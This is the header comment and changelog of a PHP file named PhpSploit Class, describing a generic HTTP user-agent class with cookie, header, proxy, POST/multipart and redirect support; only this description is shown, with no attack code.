 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 4 / PHP 5
 * VERSION:        2.1
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php

 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 *
 * [2008-08-29] (2.1)
 *  * New: The showheader()/showcookie() functions can now return an array
 *  * Bug #3 fixed: Problem concerning some servers for the main function
 *
 * [2007-06-10] (2.0)
 *  * Code: Code optimization
 *  * New: Compatible with PHP 4 by default
 *
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported 
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 *
